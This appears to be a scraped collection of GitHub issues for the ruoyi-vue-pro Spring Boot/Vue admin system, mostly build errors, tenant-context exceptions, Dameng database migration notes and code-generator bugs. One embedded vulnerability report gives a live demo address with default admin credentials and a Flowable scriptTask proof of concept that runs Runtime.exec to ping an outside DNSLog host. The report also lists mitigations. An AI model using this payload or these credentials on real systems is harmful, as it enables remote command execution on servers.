基于SpringBoot，Spring Security，JWT，Vue & Element 的前后端分离权限管理系统

使用local模式进行package打包成 jar，放到国产化服务器（ARM64，配置32C64G）上用如下命令运行 nohup java -jar yudao-server.jar >> out.log 2>&1& 起初一切正常，CPU平稳运行，top看占用的CPU保持在2%左右平稳运行，但是过了几分钟，系统的定时任务（自定义的那部分定时任务local模式下默认我也没开），日志打印“加载全量租户、sms之类的打印”，然后CPU一直就占用26%左右。。。 但是看日志暂时也还没报错，没管，持续开了一天，发现日志文件突然编程了 34G（如下图），tail -f 看了下狂爆 sms 的错误。

碰到问题，请在 https://github.com/YunaiV/ruoyi-vue-pro/issues 搜索是否存在相似的 issue。

不按照模板提交的 issue，会被系统自动删除。

基本信息

• ruoyi-vue-pro 版本：1.6.3.1611
• 操作系统：win10
• 数据库：wu

你猜测可能的原因

（必填）我花费了 2-4 小时自查，发现可能的原因是：验证图片无法显示 不能跳过

复现步骤

vscode插件都下了的

报错信息

This dependency was not found:

• core-js/modules/es.error.cause.js in ./node_modules/@babel/runtime/helpers/createForOfIteratorHelper.js, ./node_modules/cache-loader/dist/cjs.js??ref--12-0!./node_modules/babel-loader/lib!./node_modules/cache-loader/dist/cjs.js??ref--0-0!./node_modules/vue-loader/lib??vue-loader-options!./src/components/bpmnProcessDesigner/package/designer/ProcessDesigner.vue?vue&type=script&lang=js& and 5 others

To install it, you can run: npm install --save core-js/modules/es.error.cause.js

艿艿, 把代码拉下来之后编译报错, 发现部分mapstruct convert内缺少单个对象的映射规则, 是不是有代码没有合并进分支?

[ERROR] /Users/xxx/github/ruoyi-vue-pro/src/main/java/cn/iocoder/dashboard/modules/system/convert/logger/SysLoginLogConvert.java:[25,30] No target bean properties found: can't map Collection element "SysLoginLogDO sysLoginLogDO" to "SysLoginLogExcelVO sysLoginLogExcelVO". Consider to declare/implement a mapping method: "SysLoginLogExcelVO map(SysLoginLogDO value)". [ERROR] /Users/xxx/github/ruoyi-vue-pro/src/main/java/cn/iocoder/dashboard/modules/system/convert/dict/SysDictTypeConvert.java:[27,35] No target bean properties found: can't map Collection element "SysDictTypeDO sysDictTypeDO" to "SysDictTypeSimpleRespVO sysDictTypeSimpleRespVO". Consider to declare/implement a mapping method: "SysDictTypeSimpleRespVO map(SysDictTypeDO value)". [ERROR] /Users/xxx/github/ruoyi-vue-pro/src/main/java/cn/iocoder/dashboard/modules/system/convert/auth/SysAuthConvert.java:[32,23] No property named "updateTime" exists in source parameter(s). Did you mean "null"? [ERROR] /Users/xxx/github/ruoyi-vue-pro/src/main/java/cn/iocoder/dashboard/modules/infra/convert/logger/InfApiAccessLogConvert.java:[31,34] No target bean properties found: can't map Collection element "InfApiAccessLogDO infApiAccessLogDO" to "InfApiAccessLogExcelVO infApiAccessLogExcelVO". Consider to declare/implement a mapping method: "InfApiAccessLogExcelVO map(InfApiAccessLogDO value)". [ERROR] /Users/xxx/github/ruoyi-vue-pro/src/main/java/cn/iocoder/dashboard/modules/infra/convert/job/InfJobConvert.java:[34,25] No target bean properties found: can't map Collection element "InfJobDO infJobDO" to "InfJobExcelVO infJobExcelVO". Consider to declare/implement a mapping method: "InfJobExcelVO map(InfJobDO value)".

1.describe The system uses the flowable framework to implement the design and execution of workflow. Flowable supports the parsing of JavaScript, Groovy and other scripts by default. Therefore, when an attacker injects malicious code into an xml template, remote command execution can be implemented to control the system server. 2.example info> address:http://43.139.55.110/ ID:admin password:admin123 2.1 Enter process management 2.2 New Process>Design Process 2.3 Save Use burpsuite to capture packages and insert malicious scripts into the process xml template Its script meaning is to use JavaScript to call the Runtime class in Java to execute the exec method The meaning of the command is: make the system execute ping command and request to resolve the domain name of p.test00.top 2.4 Running process 2.5 Monitor command execution results The DNSLog platform listens to the system's parsing request for the p.test00.top address, proving that the ping command has been successfully triggered, and the system has a remote command execution vulnerability. 3.Modification suggestions

1. Filter all package name prefixes in the script tag or the entire xml template that may call Java local classes, such as java org. sun. com. And concat keywords.
2. Configure the java security manager SecurityManage, and prohibit remote command execution, file reading and writing, class redefinition and other permissions.

4.POC <scriptTask id=\"Activity_04rfc64\" scriptFormat=\"JavaScript\" flowable:autoStoreVariables=\"false\"><script>java.lang.Runtime.getRuntime().exec(\"ping p.test00.top\")</script></scriptTask>

大佬，国产化能做下兼容吗 我使用的是activity7的，切换了默认了flowable 1.我参考这个进行了改造（添加dm的适配） flowable:https://www.jianshu.com/p/24142518acf7 activity:https://blog.csdn.net/CHINESEZZZ/article/details/113738582

2.mysql迁移到达梦数据库，乱码问题 参考： https://blog.csdn.net/liaoyue11/article/details/119751011 字段长度设置3倍后还是出现错误，简单执行以下语句后再导出错误执行的表再执行 ALTER TABLE SYSDBA.system_menu MODIFY NAME varchar(100); ALTER TABLE SYSDBA.system_notice MODIFY TITLE varchar(100); ALTER TABLE SYSDBA.system_operate_log MODIFY NAME varchar(150); ALTER TABLE SYSDBA.system_sms_channel MODIFY SIGNATURE varchar(100); ALTER TABLE SYSDBA.system_social_user MODIFY NICKNAME varchar(100);

CREATE TABLE "SYSDBA"."ACT_RU_EVENT_SUBSCR" ( "ID_" VARCHAR(64) NOT NULL, "REV_" INT NULL, "EVENT_TYPE_" VARCHAR(255) NOT NULL, "EVENT_NAME_" VARCHAR(255) NULL, "EXECUTION_ID_" VARCHAR(64) NULL, "PROC_INST_ID_" VARCHAR(64) NULL, "ACTIVITY_ID_" VARCHAR(64) NULL, "CONFIGURATION_" VARCHAR(255) NULL, "CREATED_" TIMESTAMP(0) DEFAULT NULL, "PROC_DEF_ID_" VARCHAR(64) NULL, "SUB_SCOPE_ID_" VARCHAR(64) NULL, "SCOPE_ID_" VARCHAR(64) NULL, "SCOPE_DEFINITION_ID_" VARCHAR(64) NULL, "SCOPE_TYPE_" VARCHAR(64) NULL, "TENANT_ID_" VARCHAR(255) DEFAULT '' NULL ) ; CREATE TABLE "SYSDBA"."ACT_HI_TSK_LOG" ( "ID_" BIGINT IDENTITY(1,1) NOT NULL, "TYPE_" VARCHAR(64) NULL, "TASK_ID_" VARCHAR(64) NOT NULL, "TIME_STAMP_" TIMESTAMP(0) DEFAULT NULL, "USER_ID_" VARCHAR(255) NULL, "DATA_" VARCHAR(4000) NULL, "EXECUTION_ID_" VARCHAR(64) NULL, "PROC_INST_ID_" VARCHAR(64) NULL, "PROC_DEF_ID_" VARCHAR(64) NULL, "SCOPE_ID_" VARCHAR(255) NULL, "SCOPE_DEFINITION_ID_" VARCHAR(255) NULL, "SUB_SCOPE_ID_" VARCHAR(255) NULL, "SCOPE_TYPE_" VARCHAR(255) NULL, "TENANT_ID_" VARCHAR(255) DEFAULT '' NULL );

CREATE TABLE "SYSDBA"."ACT_EVT_LOG" ( "LOG_NR_" BIGINT IDENTITY(1,1) NOT NULL, "TYPE_" VARCHAR(64) NULL, "PROC_DEF_ID_" VARCHAR(64) NULL, "PROC_INST_ID_" VARCHAR(64) NULL, "EXECUTION_ID_" VARCHAR(64) NULL, "TASK_ID_" VARCHAR(64) NULL, "TIME_STAMP_" TIMESTAMP(0) DEFAULT NULL, "USER_ID_" VARCHAR(255) NULL, "DATA_" BLOB NULL, "LOCK_OWNER_" VARCHAR(255) NULL, "LOCK_TIME_" TIMESTAMP(0) NULL, "IS_PROCESSED_" TINYINT DEFAULT 0 NULL )

3.配置数据源后，启动有些报错的 关键字屏蔽的可以参考： https://blog.51cto.com/u_15127535/4081733 关键字：system_tenant.domain，infra_config.group 这两个关键字设置屏蔽了还是不生效，我直接改字段名称了 符号：` 去除

4.自动生成代码，参考 读取数据库表信息做成适配的？

<if test="params.driverClassName != null and params.driverClassName == 'com.mysql.cj.jdbc.Driver'">
			SELECT TABLE_NAME, ENGINE, TABLE_COMMENT, CREATE_TIME FROM INFORMATION_SCHEMA.TABLES
			WHERE TABLE_SCHEMA = (select database())
			<if test="params.tableName != null and params.tableName.trim() != ''">
				AND TABLE_NAME LIKE '%${params.tableName}%'
			</if>
			ORDER BY CREATE_TIME DESC
		</if>
		<if test="params.driverClassName != null and params.driverClassName == 'oracle.jdbc.driver.OracleDriver'">
			SELECT TABLE_NAME, COMMENTS TABLE_COMMENT FROM
				(SELECT ROWNUM AS RN,USER_TAB_COMMENTS.TABLE_NAME TABLE_NAME,USER_TAB_COMMENTS.COMMENTS COMMENTS,USER_TABLES.TABLESPACE_NAME
				FROM USER_TAB_COMMENTS
				LEFT JOIN USER_TABLES
				ON USER_TABLES.TABLE_NAME = USER_TAB_COMMENTS.TABLE_NAME
				WHERE 1 = 1
				<if test="params.tableName != null and params.tableName.trim() != ''">
					AND USER_TABLES.TABLE_NAME LIKE CONCAT(CONCAT('%', #{params.tableName}), '%')
				</if>
				)
		</if>
		<if test="params.driverClassName != null and params.driverClassName == 'dm.jdbc.driver.DmDriver'">

			SELECT c.TABLE_NAME,c.comments TABLE_COMMENT,
			o.created CREATE_TIME,o.OWNER ENGINE   FROM user_tab_comments c
			LEFT JOIN ALL_OBJECTS o on c.TABLE_NAME=o.OBJECT_NAME
			where  table_name NOT LIKE 'QRTZ_%'
			AND table_name NOT LIKE 'GEN_%'
			AND table_name NOT LIKE '#%'
			and o.OBJECT_TYPE='TABLE' AND o.OWNER=(select username from user_users)
			<if test="params.tableName != null and params.tableName.trim() != ''">
				AND TABLE_NAME LIKE '%${params.tableName}%'
			</if>
			ORDER BY CREATE_TIME DESC
		</if>
		```
目前还在改造中。。。

2022-02-09 23:05:37.673 ERROR 5948 --- [SimpleAsyncTaskExecutor-1] [TID: N/A] ageListenerContainer$LoggingErrorHandler : Unexpected error occurred in scheduled task.

java.lang.NullPointerException: null
        at org.springframework.data.redis.stream.StreamPollTask.deserializeAndEmitRecords(StreamPollTask.java:171)
        at org.springframework.data.redis.stream.StreamPollTask.doLoop(StreamPollTask.java:148)
        at org.springframework.data.redis.stream.StreamPollTask.run(StreamPollTask.java:132)
        at java.lang.Thread.run(Unknown Source)

隔一段时间就触发，而且是 SimpleAsyncTaskExecutor-1 线程。看起来是定时任务触发的，redis stream 消息。

运行过程中会每隔一段时间出现 java.lang.NullPointerException: TenantContextHolder 不存在租户编号 这样的 bug，看了下代码，用户在每次请求时会触发 TenantContextWebFilter ，设置 tenant id。 但是 tenant id 使用 tenantContextHolder 保存在 threadLocal 内，在断点调试中显示 setTenant 的线程名是 http-nio-xxxxx。 然后程序中又有一类使用 @scheduled 注解的定时任务，这些定时任务也会去执行函数，继而调用 getRequiredTenantId，然后可能执行这个定时任务的线程没有 setTenant id 过，就报 nullPointerException 了。断点中该线程名为 Scheduler-1

org.mybatis.spring.MyBatisSystemException: nested exception is org.apache.ibatis.exceptions.PersistenceException: 
### Error querying database.  Cause: java.lang.NullPointerException: TenantContextHolder 不存在租户编号
### Cause: java.lang.NullPointerException: TenantContextHolder 不存在租户编号
	at org.mybatis.spring.MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTranslator.java:96)
	at org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:441)
	at com.sun.proxy.$Proxy136.selectList(Unknown Source)
	at org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:224)
	at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.executeForMany(MybatisMapperMethod.java:166)
	at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.execute(MybatisMapperMethod.java:77)
	at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$PlainMethodInvoker.invoke(MybatisMapperProxy.java:148)
	at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:89)
	at com.sun.proxy.$Proxy162.selectList(Unknown Source)
	at com.baomidou.mybatisplus.core.mapper.BaseMapper.selectOne(BaseMapper.java:174)
	at java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:627)
	at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:162)
	at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:89)
	at com.sun.proxy.$Proxy162.selectOne(Unknown Source)
	at cn.iocoder.yudao.adminserver.modules.system.dal.mysql.dept.SysDeptMapper.selectExistsByUpdateTimeAfter(SysDeptMapper.java:34)
	at java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:627)
	at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:162)
	at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:89)
	at com.sun.proxy.$Proxy162.selectExistsByUpdateTimeAfter(Unknown Source)
	at cn.iocoder.yudao.adminserver.modules.system.service.dept.impl.SysDeptServiceImpl.loadDeptIfUpdate(SysDeptServiceImpl.java:116)
	at cn.iocoder.yudao.adminserver.modules.system.service.dept.impl.SysDeptServiceImpl.initLocalCache(SysDeptServiceImpl.java:79)
	at cn.iocoder.yudao.adminserver.modules.system.service.dept.impl.SysDeptServiceImpl.schedulePeriodicRefresh(SysDeptServiceImpl.java:101)
	at cn.iocoder.yudao.adminserver.modules.system.service.dept.impl.SysDeptServiceImpl$$FastClassBySpringCGLIB$$5f1de7b3.invoke(<generated>)
	at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:218)
	at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:783)
	at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:163)
	at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.proceed(CglibAopProxy.java:753)
	at org.springframework.validation.beanvalidation.MethodValidationInterceptor.invoke(MethodValidationInterceptor.java:123)
	at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:186)
	at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.proceed(CglibAopProxy.java:753)
	at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:698)
	at cn.iocoder.yudao.adminserver.modules.system.service.dept.impl.SysDeptServiceImpl$$EnhancerBySpringCGLIB$$fa651d8.schedulePeriodicRefresh(<generated>)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at org.springframework.scheduling.support.ScheduledMethodRunnable.run(ScheduledMethodRunnable.java:84)
	at org.springframework.scheduling.support.DelegatingErrorHandlingRunnable.run(DelegatingErrorHandlingRunnable.java:54)
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
	at java.util.concurrent.FutureTask.runAndReset$$$capture(FutureTask.java:308)
	at java.util.concurrent.FutureTask.runAndReset(FutureTask.java)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$301(ScheduledThreadPoolExecutor.java:180)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:294)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
	at java.lang.Thread.run(Thread.java:748)
Caused by: org.apache.ibatis.exceptions.PersistenceException: 
### Error querying database.  Cause: java.lang.NullPointerException: TenantContextHolder 不存在租户编号
### Cause: java.lang.NullPointerException: TenantContextHolder 不存在租户编号
	at org.apache.ibatis.exceptions.ExceptionFactory.wrapException(ExceptionFactory.java:30)
	at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:153)
	at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:145)
	at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:140)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:427)
	... 44 common frames omitted
Caused by: java.lang.NullPointerException: TenantContextHolder 不存在租户编号
	at cn.iocoder.yudao.framework.tenant.core.context.TenantContextHolder.getRequiredTenantId(TenantContextHolder.java:36)
	at cn.iocoder.yudao.framework.tenant.core.db.TenantDatabaseInterceptor.getTenantId(TenantDatabaseInterceptor.java:25)
	at com.baomidou.mybatisplus.extension.plugins.inner.TenantLineInnerInterceptor.builderExpression(TenantLineInnerInterceptor.java:446)
	at com.baomidou.mybatisplus.extension.plugins.inner.TenantLineInnerInterceptor.processPlainSelect(TenantLineInnerInterceptor.java:244)
	at com.baomidou.mybatisplus.extension.plugins.inner.TenantLineInnerInterceptor.processSelectBody(TenantLineInnerInterceptor.java:98)
	at com.baomidou.mybatisplus.extension.plugins.inner.TenantLineInnerInterceptor.processSelect(TenantLineInnerInterceptor.java:86)
	at com.baomidou.mybatisplus.extension.parser.JsqlParserSupport.processParser(JsqlParserSupport.java:91)
	at com.baomidou.mybatisplus.extension.parser.JsqlParserSupport.parserSingle(JsqlParserSupport.java:50)
	at com.baomidou.mybatisplus.extension.plugins.inner.TenantLineInnerInterceptor.beforeQuery(TenantLineInnerInterceptor.java:69)
	at com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor.intercept(MybatisPlusInterceptor.java:78)
	at org.apache.ibatis.plugin.Plugin.invoke(Plugin.java:62)
	at com.sun.proxy.$Proxy168.query(Unknown Source)
	at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:151)
	... 51 common frames omitted

在数据库表新增字段后，代码生成器生成错误（只有刚添加的字段，原来的字段消失不见）

基本信息

• ruoyi-vue-pro 版本：1.6.2
• 操作系统：Win10
• 数据库：PostgreSQL

复现步骤

1. 代码生成页面中，点击导入，选择一张表导入
2. 点击编辑配置字段，生成代码
3. 在数据库中，给这张表中新增一个字段，例如：add_status
4. 代码生成页面中，点击同步按钮
5. 此时生成的字段只有刚添加的那个字段add_status，其余字段没了。
6. 再次点击同步按钮，这次原先的字段恢复了，但是没有新增的字段add_status。
7. 再次点击同步按钮，又变成步骤5的状态了
8. 再次点击同步按钮，又变成步骤6的状态了。。。循环。。。

在控制台执行 mvn clean package -Dmaven.test.skip=true 命令，将项目进行初始化的打包， 报错：Unknown lifecycle phase ".test.skip=true". You must specify a valid lifecycle phase or a goal in the format : or :[:

]:. Available lifecycle phases are: validate, initialize, generate-sources, process-sources, generate-resources, process-resources, compile, process-classes, genera te-test-sources, process-test-sources, generate-test-resources, process-test-resources, test-compile, process-test-classes, test, prepare-package, package, pre-integration-test, integr ation-test, post-integration-test, verify, install, deploy, pre-clean, clean, post-clean, pre-site, site, post-site, site-deploy. -> [Help 1]

看起来是进入了这一步，登陆前 loginUser 为空

     // 2. 如果请求未带租户的编号，检查是否是忽略的 URL，否则也不允许访问。
        if (tenantId == null && !isIgnoreUrl(request)) {
            log.error("[doFilterInternal][URL({}/{}) 未传递租户编号]", request.getRequestURI(), request.getMethod());
            ServletUtils.writeJSON(response, CommonResult.error(GlobalErrorCodeConstants.BAD_REQUEST.getCode(),
                    "租户的请求未传递，请进行排查"));
            return;
        }

如果我将/admin-api/system/login 放到 ignoreUrls 里面，此处不会再报错，但是其他地方调用 TenantContextHolder.getTenantId 会报空指针错误

当业务名 配置小模块包名时，根据 . 生成对应子包。 例如： 表名： demo_user_wallet/demo_user_info 生成代码时 业务名会自动生成 userwallet/userinfo, 对应java的包是 demowallet/demouser 如果将业务名配置为user.wallet/user.info时， 对应的包是demo.wallet/demo.user（注意，这里是一个包名为demo.wallet的包，而不是demo一个包，及wallet子包。 对应生成一个名为demo.wallet的文件夹）

改进后 当业务名配置为user.wallet/user.info时，对应生成的结构为二级结构（如下），更为灵活

• demo ---wallet ---user